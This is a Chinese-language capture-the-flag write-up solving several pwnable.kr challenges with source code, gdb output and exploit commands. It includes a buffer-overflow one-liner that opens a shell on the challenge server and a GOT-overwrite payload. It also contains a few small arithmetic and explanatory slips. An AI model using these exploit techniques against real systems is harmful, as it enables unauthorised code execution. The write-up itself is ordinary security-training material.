#include
#include
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
ssh链接上后,发现当前目录有一个setuid的fd可执行文件以及其源码,还有一个flag文件。源码逻辑比较简单,读取一个文件,若读入内容和LETMEWIN一致,则打印flag中的内容。其中,文件描述符是由用户输入的。查阅文件IO相关API,可以找到,0,1,2分别是代表的stdin,stdout和stderr,所以只要是文件描述符为0,就可以输入指定内容了。
#include
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
输入20个字符,然后这20个字符会被分成5段,每段当成int处理,进行求和,结果为0x21DD09EC就可以通过。这个题目通过编程,把它的逻辑反过来写,可以很容易得到目标输出。
#include
#include
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
printf("%x\n", key);
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
从源码可以看出,目标是通过gets方法,改写掉key的值。使用gdb打开,输入几个a作测试,可以找到输入地址和目标地址。计算可以得到相差52个字节。
另外,编译时,启用了canary作溢出保护。不过这个保护机制是当函数返回的时候才会被触发,而system已经被执行了,因此无法即使阻止。
命令:(python -c 'print("a"*52+ chr(0xbe) + chr(0xba) + chr(0xfe) +chr(0xca))'; cat) | nc pwnable.kr 9000
PS:不大明白cat的作用是什么,但是如果不用的话,就会被canary检测到溢出,从而程序被中止,无法获取shell。
需要对一个可执行文件进行逆向分析。开始尝试各种工具(IDA,gdb,objdump)都不好使,好来看了别人的writeup,才知道是经过UPX打包了。google了一下,知道检测upx打包的方法是查询UPX!或者UPX0的存在,用strings一看,果然最后两行是UPX!。于是下载upx工具,直接解包,工具就都可以使用了。
直接运行程序,可以得到提示I will malloc() and strcpy the flag there. take it.。汇编码如下:
可以看出main函数确实执行了malloc,因此,只需要断点到main函数末尾,然后打印malloc得到的地址即可。这里使用x/s $rax即可得到flag。
#include
#include
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
但是,通过控制passcode1的值,配合scanf,可以做到任意位置写入4个字节。通常来说,是需要修改函数返回地址的。但是,在这个程序中,如果条件不满足,就直接调用exit退出,不存在出栈的过程。于是,就只能采用另一种手段,通过修改plt,引导exit的调用到system处,就可以执行了。(在C中,当程序需要调用library中的函数时,程序会到plt中去寻找跳转的地址。例如,在本例中,执行exit的语句为call 0x8048480
命令: python -c "print('a'*96 + chr(0x18) + chr(0xa0) + chr(0x04) + chr(0x08) + '134514147')" | ./passcode
#include
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
使用rand时,如果不提供一个随机种子,就会产生一样的结果,这就是伪随机的效果。因此,用gdb运行这个文件,在rand后打下断点,打印出random的值为0x6b8b4567。0x6b8b4567^0xdeadbeef=3039230856,就是结果了。
#include
#include
#include
#include
#include
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
stdio是个难点,看了别人的答案后才知道,需要使用dup2强行关闭stdin和stderr,替换成自己想要打开的文件。
socket部分直接使用原来代码,稍加修改就可以通过了。
#include
#include
#include
#include
#include
#include
#include
int main(){
char *argv[101];
char *envp[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
int i;
int fd1,fd2;
for(i=0;i<100;i++){
argv[i] = "A";
}
argv[100] = NULL;
argv[0] = "input";
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
argv['C'] = "55555";
if(fork() == 0){
int err;
int fd = open("\x0a", O_RDWR|O_CREAT,0644);
write(fd, "\x00\x00\x00\x00", 4, 1);
close(fd);
fd1 = open("tmp1.txt", O_RDWR|O_CREAT,0644);
fd2 = open("tmp2.txt", O_RDWR|O_CREAT,0644);
dup2(fd1,0);
dup2(fd2,2);
write(fd1, "\x00\x0a\x00\xff", 4);
write(fd2, "\x00\x0a\x02\xff", 4);
lseek(fd1,0,SEEK_SET);
lseek(fd2,0,SEEK_SET);
printf("executing\n");
err=execve("/home/input/input", argv, envp);
printf("%d\n", err);
printf("%s\n", strerror(errno));
}else{
int sd, cd;
struct sockaddr_in saddr, caddr;
sleep(5);
printf("connecting\n");
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons( atoi(argv['C']) );
connect(sd, (struct sockaddr *)&saddr, sizeof(saddr));
send(sd, "\xde\xad\xbe\xef", 4, 0);
close(sd);
}
}
#include
#include
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
0x00008d68 <+44>: bl 0x8cd4
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
关键指令就是0x8cdc,可以看出pc的值就是返回结果。通过文档,可以知道,当处于arm状态时,pc的值为当前指令加8,thumb状态时,pc的值为当前指令加4。状态转换是由blx或者bx指令来进行转换的。因此,当前pc的值为0x8cdc+8。
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
和key1类似,先是从pc中获取值。不过注意到,在获取pc值之前,执行了指令bx r6,因此状态发生了改变,此时pc的值应当为0x8d04+4。指令0x8d06又将r3加了4,所以最终结果为0x8d0f+4+4。
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
key3的返回结果为lr,查询可知lr保存的是返回地址。因此就是跳转到key3指令的下一条,0x8d80。
三者相加,即可得到最终结果。